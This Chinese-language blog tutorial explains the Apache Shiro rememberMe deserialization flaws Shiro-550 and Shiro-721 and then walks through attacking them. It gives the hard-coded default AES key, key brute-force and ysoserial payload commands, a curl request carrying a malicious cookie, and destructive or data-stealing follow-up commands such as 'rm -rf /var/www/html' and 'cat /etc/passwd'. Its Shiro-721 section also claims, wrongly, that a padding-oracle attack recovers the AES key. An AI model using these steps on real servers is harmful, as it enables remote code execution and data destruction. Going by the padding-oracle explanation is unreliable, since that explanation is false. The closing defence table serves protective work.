一、前言
Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务器控制权。
本文将深入剖析 Shiro-550 和 Shiro-721 漏洞,从原理、发现方法到实际攻击演示,确保读者从认知到实战都能掌握。
二、Shiro 反序列化漏洞概述
1. Shiro-550(CVE-2016-4437)漏洞原理
(1)漏洞影响范围
-
Apache Shiro <= 1.2.4
-
默认使用
CookieRememberMeManager
处理rememberMe
Cookie
(2)漏洞原理
Shiro-550 存在于 rememberMe
机制的处理流程:
-
用户登录后,Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入
rememberMe
Cookie。 -
服务器收到请求时,会 Base64 解码 -> AES 解密 -> 反序列化,恢复用户信息。
-
问题:Shiro 默认使用的 AES 密钥是硬编码的!
-
攻击者可以通过 爆破密钥,伪造一个恶意的
rememberMe
Cookie,执行远程代码。
-
2. Shiro-721(CVE-2019-12422)漏洞原理
(1)漏洞影响范围
-
Apache Shiro < 1.4.2
(2)漏洞原理
Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击:
-
攻击者可以利用服务器返回的错误信息,逐步猜测加密数据,破解 AES 密钥。
-
拿到密钥后,攻击者可以 伪造恶意 Cookie,实现反序列化攻击。
三、漏洞发现与利用
1. 如何发现 Shiro 漏洞?
(1)观察 Set-Cookie
头部
如果 HTTP 响应中包含:
Set-Cookie: rememberMe=deleteMe
说明目标网站使用了 Shiro,并可能存在漏洞。
(2)测试加密机制
-
复制
rememberMe
Cookie。 -
修改 Cookie 内容,观察返回是否包含
deleteMe
,验证加密是否有效。
2. Shiro-550 攻击实战
(1)爆破密钥
攻击者使用 shiro_attack.py
爆破默认密钥:
python shiro_attack.py --target http://example.com --keylist shiro_keys.txt
如果成功,返回密钥:
kPH+bIxk5D2deZiIxcaaaA==
(2)生成恶意 Cookie
使用 ysoserial
生成恶意 Payload:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/hacked" | base64 > payload.txt
然后用 AES 密钥加密,并 Base64 编码,得到恶意 rememberMe
Cookie。
(3)发送攻击请求
curl -X GET http://example.com -H "Cookie: rememberMe=<恶意cookie>"
成功后,服务器会执行 touch /tmp/hacked
,证明被攻击成功。
3. Shiro-721 攻击实战
(1)Padding Oracle 攻击
攻击者利用 padding_oracle_attack.py
逐步猜测 AES 密钥:
python padding_oracle_attack.py --target http://example.com --cookie "rememberMe=xyz..."
如果服务器返回:
-
500 错误 → 说明猜错了,继续试。
-
200 OK → 说明密钥猜对了,成功解密!
(2)生成恶意 Cookie 并攻击
java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" | base64
然后替换 rememberMe
,发送攻击请求,服务器执行命令。
四、实战案例
1. 某知名 CMS 被黑
某 CMS 后台使用 Shiro-550,黑客利用默认密钥 kPH+bIxk5D2deZiIxcaaaA==
,成功执行:
rm -rf /var/www/html
结果:整个网站首页被删光!
2. 金融网站数据泄露
黑客使用 Shiro-721 进行 Padding Oracle 攻击,解密 rememberMe
,成功执行:
cat /etc/passwd
结果:服务器所有用户信息被盗取!
五、防御措施
防御措施 | 适用漏洞 | 说明 |
---|---|---|
升级 Shiro | Shiro-550 / 721 | 升级到 1.4.2+ 版本,漏洞已修复 |
修改默认密钥 | Shiro-550 | 避免使用 kPH+bIxk5D2deZiIxcaaaA== ,随机生成新密钥 |
禁用不必要的反序列化功能 | Shiro-550 / 721 | 使用 JSON 存储用户信息,而非 Java 序列化 |
检测 Padding Oracle 攻击 | Shiro-721 | 监控异常 Cookie,请求不同错误返回码 |
六、总结
Apache Shiro 反序列化漏洞是一个高危安全风险,攻击者可通过 爆破密钥(Shiro-550)或 Padding Oracle 攻击(Shiro-721),实现远程代码执行。
本篇文章从漏洞原理、发现方法到攻击演示,全面解析了 Shiro 反序列化漏洞,并提供了真实案例和防御措施。
如果你觉得本文对你有帮助,欢迎点赞、收藏,并分享给更多安全从业者!🚀